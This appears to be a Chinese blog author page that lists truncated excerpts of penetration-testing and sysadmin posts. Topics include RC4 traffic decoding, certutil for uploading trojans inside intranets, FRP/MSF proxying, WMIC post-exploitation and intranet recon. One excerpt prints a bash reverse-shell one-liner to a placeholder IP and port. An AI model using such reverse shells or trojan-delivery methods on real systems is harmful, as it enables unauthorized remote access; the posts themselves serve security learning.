最后的輸出格式是base64輸出的??
數(shù)據(jù)包中的加密之RC4加密介紹背景：在抓包過程中經(jīng)常發(fā)現(xiàn)數(shù)據(jù)包被加密了，被加密成大小寫字母混雜著些‘+，/’這種。然后后面還有兩個==號，經(jīng)常讓人誤以為僅僅是base64加密。（后悔大學(xué)沒好好聽密碼學(xué)這門...
IP屬地：上海
-
-
Certutil工具的使用知道這個工具還是在一篇文章中提到內(nèi)網(wǎng)環(huán)境上傳木馬時可以通過這個工具，穩(wěn)穩(wěn)當(dāng)當(dāng)。 工具介紹 certutil是windows下一款下載文件的工具，自從WindowsServer...
-
FRP和MSF搭建socks5代理&fscan掃描內(nèi)網(wǎng)漏洞frp工具地址： frp配置 服務(wù)端frps.ini只需配置默認(rèn)端口，默認(rèn)7000，可自行修改，要保證自己vps的端口開放且沒被占用就好。 客戶端配置 壓縮包里有一個配置文件...
-
解決go編譯出現(xiàn)timeout的問題
某次編譯go工具發(fā)現(xiàn)無法連接其網(wǎng)站，諸如以下報錯： 解決辦法就是上代理： Windows(win10親測)： 設(shè)置國內(nèi)代理地址 參考連接[http://t.zoukankan...
-
數(shù)據(jù)包中的加密之RC4加密介紹背景：在抓包過程中經(jīng)常發(fā)現(xiàn)數(shù)據(jù)包被加密了，被加密成大小寫字母混雜著些‘+，/’這種。然后后面還有兩個==號，經(jīng)常讓人誤以為僅僅是base64加密。（后悔大學(xué)沒好好聽密碼學(xué)這門...
-
Python3.7實現(xiàn)RC4加密解密（超詳細(xì)）在密碼學(xué)中，RC4（來自Rivest Cipher 4的縮寫）是一種流加密算法，密鑰長度可變。它加解密使用相同的密鑰，因此也屬于對稱加密算法。RC4是有線等效加密（WEP）中...
-
炒冷飯之Linux各種命令（實用命令+應(yīng)急命令+詳細(xì)到參數(shù)增強理解記憶）
簡單說兩句1.不是想炒冷飯，只是這東西不常用就太容易忘了。（害怕被人發(fā)現(xiàn)對Linux一竅不通）2.最近想做很多事情，但總是在實踐的過程中發(fā)現(xiàn)很多知識很匱乏，不得已延誤許久，邊...
-
Windows10下安裝Python2和Python3先下載最新版本的Python2和Python3：https://www.python.org/downloads/windows/我下載了python-2.7.13.amd6...
-
那些年python報的錯，No module named 'xxxx'背景：很多時候我們在安裝別人寫的python工具的時候會經(jīng)常報一些庫安裝不上的問題，屬實讓人頭疼。 這里以安裝水澤工具時出現(xiàn)的問題來舉例，以及類似問題的解決辦法。 1.一般都...
-
ubuntu18升級python3版本到3.8以上因為要安裝一個牛逼的工具所以要升級vps上的python版本，這里記錄一下。本文參考：https://segmentfault.com/a/1190000021967408[...
-
linux反彈shell小記錄
在某些情況下可能需要我們反彈一個shell來更好的執(zhí)行某些命令。就可以用到這些命令： Bash反彈shell命令如下： bash -i >& /dev/tcp/ip/port...
-
本地搭建三層內(nèi)網(wǎng)，進行內(nèi)網(wǎng)滲透測試這篇是去年國慶前寫的，推薦給對內(nèi)網(wǎng)沒有任何了解，但是想要了解的同學(xué)，也可以自己本地搭建練習(xí)下。 場景的簡單介紹 這里用VMware進行三層內(nèi)網(wǎng)的搭建，省略了得到外網(wǎng)機器she...
-
-
實用的后滲透wmic命令寫在前面的話 在這篇文章中，我們將討論如何在攻擊的后滲透利用階段使用WMIC（Windows Management InstrumentationCommand Line）。...
-
常見端口及測試方法小結(jié)
端口（port)，即設(shè)備與外界通訊交流的出口。只有整數(shù)，1-65535. 端口滲透過程中我們需要關(guān)注幾個問題： 1、端口的banner信息 2、端口上運行的服務(wù) 3、常見應(yīng)用...
-
內(nèi)網(wǎng)滲透之信息收集0x01 whoami /user && whoami /priv 查看當(dāng)前用戶名&&查看當(dāng)前用戶特權(quán)名(查看當(dāng)前shell權(quán)限） 0x02 systeminfo #查看系統(tǒng)...
-
滲透測試前期
一.nmap掃描端口是必須的，常用為：nmap -T4 -A #掃描10000個端口，操作系統(tǒng)和版本 二.子域名探測，感覺一個oneforall就夠了，github上一...
-
網(wǎng)絡(luò)安全實驗室|防注入|哈希密碼防注入？
作為注入關(guān)的壓軸題，感覺技術(shù)上的難度不大，主要是漲漲見識，廢話不多說上代碼： include "config.php"; #引入config.php if(isset($_G...
-
資源沒了 在分享一下哥哥
VMware-workstation-full-15.5.0-14665864虛擬機安裝教程（超詳細(xì)）
虛擬機（Virtual Machine）指通過軟件模擬的具有完整硬件系統(tǒng)功能的、運行在一個完全隔離環(huán)境中的完整計算機系統(tǒng)。虛擬系統(tǒng)通過生成現(xiàn)有操作系統(tǒng)的全新虛擬鏡像，它具有真...
